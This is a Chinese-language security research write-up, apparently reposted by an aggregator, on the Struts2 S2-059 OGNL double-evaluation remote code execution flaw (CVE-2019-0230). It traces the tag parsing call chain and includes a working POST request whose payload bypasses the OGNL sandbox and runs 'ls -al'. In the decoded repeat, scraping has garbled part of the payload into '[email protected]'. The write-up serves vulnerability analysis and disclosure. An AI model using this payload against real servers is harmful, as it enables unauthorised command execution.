17

Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析

 3 years ago
source link: https://www.anquanke.com/post/id/216629
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

qEFZVnv.jpg!mobile

作者:白帽汇安全研究院 @hu4wufu

核对:白帽汇安全研究院 @r4v3zn

前言

2020年8月13日虽然近几年来关于 ONGL 方面的漏洞已经不多了,但是毕竟是经典系列的 RCE 漏洞,还是有必要分析的。而且对于 Struts2OGNL 了解也有助于代码审计和漏洞挖掘。

首先了解一下什么是 OGNLObject Graphic Navigation Language (对象图导航语言)的缩写, Struts 框架使用 OGNL 作为默认的表达式语言。

struts2_S2_059S2_029 漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。

漏洞利用前置条件是需要特定标签的相关属性存在表达式 %{payload} ,且 payload 可控并未做安全验证。这里用到的是 a 标签 id 属性。

id 属性是该 action 的应用 id

经过分析,受影响的标签有很多继承 AbstractUITag 类的标签都会受到影响,受影响的属性只有 id

环境准备

测试环境: Tomcat 8.5.56JDK 1.8.0_131Struts 2.3.24

由于用 Maven 创建有错误没有解决,所以选用 idea 自带的创建 struts2 工程。

MvYnaaR.png!mobile

创建好工程后,在 web/WEB-INF 下新建 lib 文件夹,然后将下载的 jar 包复制进去即可。

jsp 测试文件:

eMnMzm.png!mobile

添加字段获取传参,并且显示到页面。

rMRzEbi.png!mobile

漏洞验证

poc1:

输入普通文本:

JVVRJnm.png!mobile

输入 ONGL 表达式 %{1+4} ,需要url转码 %25%7b%31%2b%34%7d%0a

ArmmeiY.png!mobile

poc2:

这里发送一个post包即可,构造思路在分析和总结中提到。

POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1

payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

byuU32u.png!mobile

漏洞分析

我们首先看一下漏洞的调用栈:

nuuIFje.png!mobile

不同版本的调用链可能会不一样,比如在较低的版本最终是在 com.opensymphony.xwork2.util.TextParseUtil.classtranslateVariables() 方法赋值。

漏洞信息: https://cwiki.apache.org/confluence/display/WW/S2-059

根据漏洞详情可知问题出现在标签解析的时候,所以我们从 org.apache.struts2.views.jsp.ComponentTagSupportdoStartTag 方法开始跟进,从这里开始进行 jsp 标签的解析。当用户发送请求的时候, doStartTag() 开始执行。我们直接 debug 断点在解析标签的 ComponentTagSupport 的第一行。

m2eYJjQ.png!mobile

this.populateParams() 进行赋值,所以我们跟进 populateParams() ,进行初始参数值的填充。

org.apache.struts2.views.jsp.ui.AnchorTag.class 中存储着所有的标签对象。

iMJFje.png!mobile

org.apache.struts2.views.jsp.ui.AbstractClosingTag.class 这里是调用了父类 AbstractUITagpopulateParams() 方法。

image-20200903154123693

继承 AbstractUITag 类的标签都会受到影响。当这些标签存在 id 属性时,会调用父类 org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams() 方法,触发 setId() 方法时会解析一次 OGNL 表达式。

往下跟父类的 populateParams() 方法。

UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.setOnclick(this.onclick);
uiBean.setOndblclick(this.ondblclick);
uiBean.setOnmousedown(this.onmousedown);
uiBean.setOnmouseup(this.onmouseup);
uiBean.setOnmouseover(this.onmouseover);
uiBean.setOnmousemove(this.onmousemove);
uiBean.setOnmouseout(this.onmouseout);
uiBean.setOnfocus(this.onfocus);
uiBean.setOnblur(this.onblur);
uiBean.setOnkeypress(this.onkeypress);
uiBean.setOnkeydown(this.onkeydown);
uiBean.setOnkeyup(this.onkeyup);
uiBean.setOnselect(this.onselect);
uiBean.setOnchange(this.onchange);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setJavascriptTooltip(this.javascriptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);

跟进其他属性到 org.apache.struts2.components.UIBean.class 发现 AbstractUITag.class 所有的属性除了 id 都是直接赋值。

@StrutsTagAttribute(
    description = "The template directory."
)
public void setTemplateDir(String templateDir) {
    this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
    description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
    this.tooltipIconPath = tooltipIconPath;
}

跟进 setId() 方法,会有一个 findString() 方法,这里也就解释了为什么是 id 属性进行解析了。

NJVZvy7.png!mobile

如果 id 不为空,那么给 id 赋值用户传入的值。接着跟入 findString()

jqA3I3n.png!mobile

跟进 findValue() 方法,我们来看看赋值过程。

JRBN3mJ.png!mobile

如果 altSyntax 功能开启(此功能在 S2-001 的修复方案是将其默认关闭), altSyntax 这个功能是将标签内的内容当作 OGNL 表达式解析,关闭了之后标签内的内容就不会当作 OGNL 表达式解析了。执行到 TextParseUtil.translateVariables('%', expr, this.stack) ,然后在下面执行 OGNL 的表达式的解析,返回传入 action 的参数 %{1+4} ,这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。

translateVariables() 函数传过来的 open 参数的值是 '%' ,在截取的时候是截取的 open 之后的字符串,并把传入 stack.OgnlValueStack ,这也是我们的 poc 构造的时候要写成 %{*} 形式的原因。

跟到 com.opensymphony.xwork2.util.TextParseUtil.class 中的 translateVariables() 方法。

mQ3YJrR.png!mobile

translateVariables() 方法 while 循环里加了一个 maxLoopCount 参数来限制递归解析的次数, break 跳出循环(这是对S2-001的修复方案)。这里的 maxLoopCount 为1。

eM3mmaY.png!mobile

while(true) {
    int start = expression.indexOf(lookupChars, pos);
    if (start == -1) {
        ++loopCount;
        start = expression.indexOf(lookupChars);
    }

    if (loopCount > maxLoopCount) {    //设置maxLoopCount参数,break跳出循环。
        break;
    }

接着往下跟,跟进 evaluate() 方法。

7JNfQrU.png!mobile

最终在 com.opensymphonny.xwork2.util:57 完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。

jYRVfuq.png!mobile

所以我们回到 ComponentTagSupport.classdoStartTag() 方法,再跟一下标签对象的 start() 方法,这里会进行 id 值的二次解析。

eYfiMjM.png!mobile

这里调用了父类 ClosingUIBeanstart() 方法

fE777zQ.png!mobile

跟到父类 org.apache.struts2.components.ClosingUIBean.class ,我们看一下 evaluateParams() 方法。

image-20200828122521560

org.apache.struts2.components.UIBean.classevaluateParams() 方法中有很多属性使用 findString() 来获取值。

...

if (this.name != null) {
    name = this.findString(this.name);
    this.addParameter("name", name);
}

if (this.label != null) {
    this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
    this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
    this.addParameter("onmouseout", this.findString(this.onmouseout));
}

但是除了 id 解析两次 OGNL 外,算上前面的 setId() 解析了一次,所以这里边的其他属性都仅解析了一次。

最终跟进 populateComponentHtmlId() 方法

FvYnIj.png!mobile

再跟进 findStringIfAltSyntax() 方法。

AziyQ33.png!mobile

在开启了 altSyntax 功能的前提下,可以看到这里对 id 属性再次进行了表达式的解析。

进入到 findString() 后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。

mi6bI3M.png!mobile

跟进 findvalue()

j2qUBr7.png!mobile

org.apache.struts2.components.Component.classfindStringIfAltSyntax() ,与前面一样又会执行一次 TextParseUtil.translateVariables() 方法。

image-20200903162215577-2

跟进 com.opensymphony.xwork2.util.TextParseUtil.class:63return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)

7jQbyaA.png!mobile

这里可以看到表达式内容已经解析执行了。

思考

如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是 altSyntax 功能开启且需要特定标签 id 属性(暂未找到其他可行属性)存在表达式 %{payload}payload 可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。

我们知道此次 S2-059 与之前的 S2-029S2-036 类似都是 OGNL 表达式的二次解析而产生的漏洞,用 S2-029 的poc打不了 S2-059 搭建的环境。

S2-029 的区别: S2-029 是标签的 name 属性出现了问题,由于 name 属性调用了 org.apache.struts2.components.Component.classcompleteExpressionIfAltSyntax() 方法,会自动加上 "%{}" 这也就解释了 S2-029payload 不用加 %{} 的原因。

protected String completeExpressionIfAltSyntax(String expr) {
    return this.altSyntax() ? "%{" + expr + "}" : expr;
}

关于受影响标签:

继承 AbstractUITag 类的标签都会受到影响。当这些标签存在 id 属性时,会调用父类 AbstractUITag.populateParams() 方法,触发 setId() 解析一次 OGNL 表达式。比如 label 标签(同样输入表达式 %{1+4} )。

yAna2az.png!mobile

这里可以看到 LabelTag.class 继承了 AbstractUITag.class

FfiuAbv.png!mobile

关于版本问题:

官方说明影响范围是Apache Struts 2.0.0 – 2.5.20,这里测试了2.1.1和2.3.24版本。

不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本 Struts 2.2.1 与稍高版本 Struts 2.3.24 ,均可以控制输入值。

image-20200903112402259

关于回显:

%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

OgnlContext_memberAccess 变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被 OGNL 表达式所使用。

所以其中poc中需要设置 #_memberAccess.allowPrivateAccess=true 用来授权访问 private 方法, #_memberAccess.allowStaticMethodAccess=true 用来授权允许调用静态方法,

#_memberAccess.excludedClasses=#_memberAccess.acceptProperties 用来将受限的类名设置为空

#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties 用来将受限的包名设置为空

#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter() 返回 HttpServletResponse 实例获取 respons 对象并回显。

#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close() 执行系统命令,使用 java.util.Scanner 一个文本扫描器,执行命令 ls -al ,将目录下的内容回显出来。

至于为什么加 %{} ,在之前的分析中已经提及。

参考


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK